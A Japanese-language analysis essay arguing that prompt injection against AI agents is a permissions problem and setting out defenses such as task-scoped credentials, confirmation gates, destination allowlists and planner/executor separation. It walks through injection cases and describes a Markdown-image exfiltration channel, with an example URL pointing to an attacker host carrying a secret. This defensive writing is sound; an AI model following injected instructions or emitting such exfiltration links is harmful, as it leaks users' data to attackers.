分析：プロンプトインジェクションは権限の問題であり、プロンプトの問題として扱うからこそ攻撃が通用し続ける

数か月おきに、新たなデモンストレーションが話題になる。カレンダーの招待状がアシスタントにメールボックスを転送させる、あるウェブページがブラウジングエージェントにセッショントークンを漏洩させる、あるいはコードのコメントがリポジトリエージェントに誰も求めていないプルリクエストを開かせる。デモンストレーションの中身は変わっても、反応はほとんど変わらない。誰かがより強固なシステムプロンプトを提案し、別の誰かが分類器を提案し、業界は次のデモが現れるまでそのまま進んでいく。

このパターンが繰り返されるのは、問題の分類そのものが誤っているからだ。プロンプトインジェクションは本来、認可(オーソリゼーション)の問題であるにもかかわらず、コンテンツフィルタリングの問題として論じられている。そして認可の問題は、より巧みな文言によって解決されるものではない。

境界が存在しない理由

言語モデルが受け取るのは、ひとつながりのシーケンスにすぎない。システムプロンプト、ユーザーのメッセージ、取得したドキュメントの内容、ツール呼び出しの出力、ウェブページのテキスト——これらはすべて、同じシーケンスの中のトークンとして届く。モデルは、そのシーケンスの中に見つかった指示に従うよう訓練されている。運営者の意図だけが通る、特権的な別チャンネルは存在しないし、特定の範囲を「無害」と印づけて無効化する仕組みもない。

これに尽きる。ソフトウェアエンジニアであれば、この構造をSQLインジェクションから直感的に理解できるだろう。この比喩は、破綻する寸前まではとても有用だ。SQLインジェクションはプリペアドステートメントによって解決された。データベースがクエリの構造とパラメータの値を別々のチャンネルで受け取れるようになったことで、値の側でどれほど巧妙な細工をしても構造そのものは変えられなくなったのだ。言語モデルにはプリペアドステートメントに相当するものが存在しない。 モデルが指示とデータを別々に受け取り、その区別を確実に守れると保証する汎用的な仕組みは、誰も実現していない。

区切り文字(デリミタ)を使ってもこの仕組みは生まれない。信頼できないコンテンツをタグやハッシュ記号、特殊な区切り記号でマークすることは、稚拙な攻撃には有効であり、実施すべきではある。しかし、そのマーカー自体も同じストリーム内のテキストにすぎず、マークされた領域の内部に十分直接的な指示が置かれれば、それでもなお従われてしまう可能性がある——とりわけ、その指示が上位にある一般的な防御用の指示よりも具体的かつ新しいものである場合は。

能力を伴わないインジェクションは、単なる興味深い現象にすぎない

設計上の判断を変える視点の転換がここにある。注入された指示が意味を持つのは、その結果としてモデルが何かを「実行」できる場合に限られる。

悪意あるウェブページを読み込んで文章を生成するだけのモデルは、誤ったことを言わされたにすぎない。それは品質上の問題であり、現実のものではあるが、範囲は限られている。だが同じモデルにメール送信ツール、HTTPクライアント、そして永続的なOAuthトークンが備わっていれば、それはまったく別のシステムになる。悪意あるページは、その認証情報が到達しうるあらゆる場所への、リモートコード実行経路と化す。

つまり、インジェクションの深刻度はテキストそのものの性質ではない。そのテキストを読んだ瞬間にモデルへ紐づいているツール群の性質なのだ。同じモデル、同じシステムプロンプト、同じ防御策を用いた二つのデプロイメントであっても、片方のループに書き込み権限を持つトークンが含まれているというだけで、最悪の場合の被害規模が桁違いに異なることがある。

だからこそ、「自分たちのプロンプトはどれほどインジェクションされやすいか」は誤った指標であり、「このエージェントは一度のやり取りで最悪何をしでかしうるか」こそが正しい指標となる。後者の問いには、書き出してセキュリティレビュアーに渡し、テストすることのできる答えが存在する。

繰り返し突破される、この共通の構図

深刻なインシデントに発展しうるシナリオのほぼすべてに、共通する三つの要素がある。

• 信頼できない入力がモデルに到達する。 メール本文、ウェブページ、PDF、課題管理システム(イシュートラッカー)、カレンダーの招待状、コードのコメント、ファイル名、OCRの出力、書き起こしテキスト——第三者が書き込めるものはすべてこれに当たる。
• モデルが永続的かつ広範な認証情報を保持している。 長期間有効なAPIトークン、サービスアカウント、セッションクッキー、サンドボックスにマウントされたSSH鍵など。
• 外部への出口が存在する。 HTTPクライアント、メール送信ツール、Webhook、gitへのプッシュ、あるいは単に、レンダラーが取得しにいく画像URLでもよい。

この三つのうちどれか一つでも取り除けば、興味深い(=実害のある)攻撃は格段に難しくなる。これこそが実際に操作可能な設計上のレバーであり、インジェクションに耐性を持つモデルの登場を待たずとも、今日から利用できるものだ。

三つ目の要素は、見落とされがちであるだけに特に注意が必要だ。Markdownの画像レンダリングは、情報を持ち出す(exfiltrate)ためのチャンネルになりうる。エージェントが https://attacker.example/?d=SECRET を指す画像タグを、画像がレンダリングされる場所に出力すれば、ツール呼び出しを一切介さずに、攻撃者が選んだ内容を含む外部リクエストが発生してしまう。HTTPツールについては慎重にアローリスト(許可リスト)を設定しておきながら、エージェントの出力をリッチなMarkdownとしてレンダリングしているチームは、この裏口を開けたままにしていることになる。

リスクのクラスを実際に変える対策

ここで示す順序には意図がある。安価で構造的な対策のほうが、高度な統計的対策よりも効果は大きい。

認証情報は、エージェント単位ではなくタスク単位で権限を絞る。 あるエージェントが特定の顧客のチケットを要約している間に保持するトークンは、別の顧客のチケットを読めてはならない。これはごく普通の最小権限の原則を、サービス単位ではなくセッション単位で適用するものだ。これが単独で最も効果の大きい対策である。なぜなら、「攻撃者が自社のデータに到達した」という事態を、「攻撃者は、そもそもこのリクエストが対象としていたデータにしか到達できなかった」という事態に変えるからだ。

不可逆な操作や外部への操作にはゲートを設ける。 読み取りは基本的に自動で構わない。書き込み、送信、支払い、削除、マージ、外部への投稿——こうした操作にこそ、人間による確認をかける価値がある。ただしそのゲートは、「何かが起きる」ことではなく「何が起きるか」を提示しなければならない。「エージェントがメールツールを使おうとしています」とだけ表示する承認ダイアログは、人々に「はい」を押す習慣を植えつけてしまう。宛先を明示し、本文を表示するダイアログであれば、そうはならない。

ツールだけでなく、送信先そのものをアローリスト化する。 既知のホスト群に限定されたfetchツールは、任意のURLに到達できるfetchツールとは、本質的に別物だ。同じことが、メールの宛先、Webhookの送信先、gitのリモート先にも当てはまる。

リスクに見合う場面では、計画立案と実行を分離する。 よくあるパターンは、二つのモデルを組み合わせる構成だ。一方のモデルが信頼できない素材を読み込み、ツールを呼び出す能力を一切持たないまま、構造化された要約を生成する。そしてもう一方のモデル——生の信頼できないテキストを一度も目にしない側——が、その構造化された出力にもとづいて行動する。この構成でもインジェクションが完全になくなるわけではない。要約自体がペイロードを運びうるからだ。しかし、制約されたスキーマは、自由形式のテキストに比べればはるかに狭いチャンネルとなる。

ある操作につながった指示の出所を、すべて記録する。 何か問題が起きたとき、「どの文書がエージェントにこれをさせたのか」という問いには、セッションを記憶から再構成しなくても答えられるようにしておく必要がある。

そのうえで、分類器を追加する。 インジェクション検知器、出力スキャナー、異常検知ルールは、導入する価値がある。これらは発生件数を減らしてくれる。ただし、それにふさわしい扱い方をすべきだ。すなわち、敵対的な入力分布に対する統計的なフィルタとして、ノイズを削るには有用だが、危険な能力を封じる主柱にはなり得ない、というものだ。

ツール設計への示唆

Model Context Protocol(MCP)をはじめとする標準的なツールインターフェースの台頭により、エージェントに能力を接続することは容易になった。しかし、その容易さこそがリスクである。ワンクリックで追加できるコネクタのカタログは、誰の脅威モデルよりも速いペースでツールの攻撃対象領域を拡大させてしまう。

有効な習慣が二つある。第一に、ツールは広範なAPIではなく、狭い意味の「動詞」であるべきだ。 注文IDと金額を受け取り、サーバー側で上限を設定した refund_order ツールは、メソッドとパス、ボディを受け取る汎用的な call_internal_api ツールよりも安全な部品だ。後者のほうが柔軟性が高く、実装もはるかに容易ではあるが、その柔軟性こそが、注入された指示につけ込まれる隙となる。

第二に、破壊的な能力は、モデルが議論の余地なく従わざるを得ないポリシーの背後に置くべきだ。 返金の上限額がツールの実装側で強制されているなら、返金が妥当かどうかというモデルの判断がその上限を超えることはあり得ない。だが、その上限がシステムプロンプトに記述されているだけなら、超えてしまう可能性がある。

居心地の悪い結論

この分析は、どのように書いても「問題は解決した」という結論にはたどり着かない。指示の階層構造に関する研究、システムレベルのテキストを優先するようモデルを訓練する試み、チャンネルをアーキテクチャ上分離する研究——これらは実在し、確かに前進している。そして、今日のモデルよりも大幅にインジェクションへの耐性が高いモデルが登場すれば、それは本当に価値あることだろう。しかし「大幅に改善される」ことと「本番環境の認証情報に接続しても安全である」ことは同じではない。まだ世に出ていない能力の上にセキュリティ態勢を築くべきではない。

現実的な立場は、セキュリティエンジニアリングが信頼できない入力に対して常にとってきたものと同じだ。すなわち、いずれは突破されるものと想定し、突破された際の被害が、モデルの判断以外の何かによって上限を画されるようにしておく。本稿で挙げた対策はどれも今すぐ導入でき、新しいモデルの登場を必要としない。そしてこれらを組み合わせれば、あるクラスのインシデントを、破滅的なものから、単に鬱陶しいだけのものへと変えることができる。

それは「解決」よりも低い天井だ。しかしそれこそが、実運用に投入できるエージェントと、デモでしか披露できないエージェントとを分ける違いでもある。